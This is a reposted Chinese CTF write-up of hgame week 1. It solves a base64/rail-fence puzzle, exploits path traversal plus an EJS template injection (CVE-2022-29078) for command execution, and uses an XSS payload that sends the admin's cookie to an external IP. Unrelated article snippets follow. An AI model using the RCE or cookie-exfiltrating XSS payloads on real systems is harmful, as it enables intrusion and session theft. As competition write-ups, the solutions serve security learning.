hgame 第一周

news/2025/2/13 15:37:24/文章来源:https://www.cnblogs.com/meraklbz/p/18713727

Pacman

前端反调试题,找到了一个串.aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=.base64解码后百思不得其解,后来发现还有一个栅栏加密,纯烂活...
hgame{u_4re_pacman_m4ster}

BandBomb

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');const app = express();app.set('view engine', 'ejs');app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());const storage = multer.diskStorage({destination: (req, file, cb) => {const uploadDir = 'uploads';if (!fs.existsSync(uploadDir)) {fs.mkdirSync(uploadDir);}cb(null, uploadDir);},filename: (req, file, cb) => {cb(null, file.originalname);}
});const upload = multer({ storage: storage,fileFilter: (_, file, cb) => {try {if (!file.originalname) {return cb(new Error('无效的文件名'), false);}cb(null, true);} catch (err) {cb(new Error('文件处理错误'), false);}}
});app.get('/', (req, res) => {const uploadsDir = path.join(__dirname, 'uploads');if (!fs.existsSync(uploadsDir)) {fs.mkdirSync(uploadsDir);}fs.readdir(uploadsDir, (err, files) => {if (err) {return res.status(500).render('mortis', { files: [] });}res.render('mortis', { files: files });});
});app.post('/upload', (req, res) => {upload.single('file')(req, res, (err) => {if (err) {return res.status(400).json({ error: err.message });}if (!req.file) {return res.status(400).json({ error: '没有选择文件' });}res.json({ message: '文件上传成功',filename: req.file.filename });});
});app.post('/rename', (req, res) => {const { oldName, newName } = req.body;const oldPath = path.join(__dirname, 'uploads', oldName);const newPath = path.join(__dirname, 'uploads', newName);if (!oldName || !newName) {return res.status(400).json({ error: ' ' });}fs.rename(oldPath, newPath, (err) => {if (err) {return res.status(500).json({ error: ' ' + err.message });}res.json({ message: ' ' });});
});app.listen(port, () => {console.log(`服务器运行在 http://localhost:${port}`);
});

/rename路由处通过拼接来实现改名,出现了路径穿越漏洞.可以移动文件.然而找不到flag,没权限移动系统文件.发现在根路由出现了一次渲染

  fs.readdir(uploadsDir, (err, files) => {if (err) {return res.status(500).render('mortis', { files: [] });}res.render('mortis', { files: files });});

所以希望通过覆盖morties.ejs,CVE-2022-29078:从而在渲染的时候去执行命令.ejs版本3.1.6或更早版本中存在SSTI,用浅拷贝覆盖值,最后插入OS Command导致RCE.
不会写能回显的shell,曲线救国一下:

<%= global.process.mainModule.require('child_process').execSync("env > /app/public/1.txt").toString().trim() %>

image

然后访问/static/1.txt即可.

MysteryMessageBoard

上来给了个登录接口,爆破弱密码888888.登录之后扫了一个路由,给出了个留言板和一个/admin路由.提示访问admin路由时admin回去访问留言板,猜测是一个手动的xssbot.但是没打过xss,遂终止.

<img src=1 onerror=window.open("http://123.57.23.40:1111/?id="+document.cookie)>

使用admin访问时触发外带,在vps收到了admin的session.携带session访问,成功以admin身份登录.
image

然后携带admin的cookie再次扫描目录,得到了flag路由下的flag.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/883253.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Deepseek学习随笔(2)--- 快速上手DeepSeek

注册与登录 要开始使用 DeepSeek,你需要先注册一个账号。以下是具体步骤:访问 DeepSeek 官网。 使用邮箱或手机号注册账号。 登录后进入控制台,开始使用。控制台功能介绍 DeepSeek 的控制台提供了丰富的功能,帮助你更好地使用工具:对话窗口:在这里输入你的问题或指令,De…

【原创】大数据治理入门(4)《保护数据隐私:大数据治理的最佳实践》入门必看 高赞实用

在大数据治理中,保护数据隐私是至关重要的。通过了解和遵守相关法规,采用数据脱敏、匿名化和隐私计算等技术手段,企业可以有效降低数据隐私泄露的风险,提升用户的信任度和企业的竞争力。希望本文能够为您提供全面的数据隐私保护指南。保护数据隐私:大数据治理的最佳实践 引…

【原创】大数据治理入门(1)《大数据治理入门:为什么重要?》入门必看 高赞实用

随着互联网的快速发展,数据的生成和积累速度达到了前所未有的水平。大数据通常被定义为规模巨大、类型多样且生成速度快的数据集合。这些数据不仅包括结构化数据(如数据库中的表格数据),还包括非结构化数据(如文本、图片、视频等)。大数据的重要性在于其能够帮助企业更好…

【MySQL安全】复现Mysql LOAD DATA 读取客户端任意文件漏洞

前言 MySQL 客户端和服务端通信过程中是通过对话的形式来实现的,客户端发送一个操作请求,然后服务端根据客户端发送的请求来响应客户端,在这个过程中客户端如果一个操作需要两步才能完成,那么当它发送完第一个请求过后并不会存储这个请求,而是直接丢弃,所以第二步就是根据…

线程/进程

进程 1.是资源分配的基本单元 2.拥有独立的内存空间和资源 3.开销较大 4.稳定性高,一个进程的崩溃不会影响其他的进程 线程 1.是cpu调度的基本单元 2.共享进程的资源 3.开销较小 4.稳定性不高,一个线程崩溃可能会导致其他线程的崩溃当我们写完一个线程之后可以通过idea的安装…

nginx代理grafana配置

配置grafna的nginx代理配置环境背景:监控系统用的是Prometheus+altermanager+grafana+xxx-exporter实现的,现在业界内的夜莺监控系统已经非常的成熟了,使用夜莺管理配置监控相对比Prometheus+altermanager要友好很多,使用也方便,直接页面配置就好。但是相对图表化的监控信…

IPD流程管理之市场需求精准把握方法

IPD(Integrated Product Development)流程管理旨在通过整合产品开发的各个环节,实现高效、高质量的产品交付。在这一过程中,精准把握市场需求是成功的关键。只有深入了解市场需求,企业才能开发出符合客户期望的产品,从而在激烈的市场竞争中占据优势。本文将详细探讨IPD流…

VSCode 搭建 MySQL 源码调试环境

在使用MySQL数据库的过程中,如果遇到一些复杂的问题,可以通过GDB进行调试,本篇将演示如何在Win 10环境基于VSCode搭建MySQL源码调试环境。 一、调试环境 本次调试需要用到的软件和环境为:Red Hat Enterprise Linux release 8.10 (Ootpa) MySQL 8.0.40 VSCode 1.96.4二、编译…

MAC鼠标滚轮反向问题

找系统设置中 --》鼠标--〉关闭自然滚动设置博客园地址:https://www.cnblogs.com/lixiuming521125/

开发者福音!TinyEngine服务端Java版本正式开源

本次 TinyEngine 低代码引擎服务端 Java 版本代码的开源,让开发者能够深入了解 TinyEngine 低代码引擎的前后端运行机制。摘要:本次 TinyEngine 低代码引擎服务端 Java 版本代码的开源,让开发者能够深入了解 TinyEngine 低代码引擎的前后端运行机制。本文分享自华为云社区《…

ZeRO, ZeRO-Offload, ZeRO-Infinite, ZeRO++

目录概MotivationZeROZeRO-OffloadZeRO-InfiniteZeRO++代码Rajbhandari S., Rasley J., Ruwase O. and He Y. ZeRO: Memory optimizations toward training trillion parameter models. InSC, 2020.Ren J., Rajbhandari S., Aminabadi R. Y., Ruwase O., Yang S., Zhang M., Li…

IPD流程如何推动企业数字化转型

企业数字化转型已成为当下众多企业寻求突破与发展的关键战略方向。在这一进程中,集成产品开发(IPD)流程发挥着不可忽视的重要作用。IPD流程并非简单的产品开发流程,它涵盖了从产品战略规划、概念设计、详细设计、开发、测试到上市等一系列环节,是一个系统性的、端到端的流…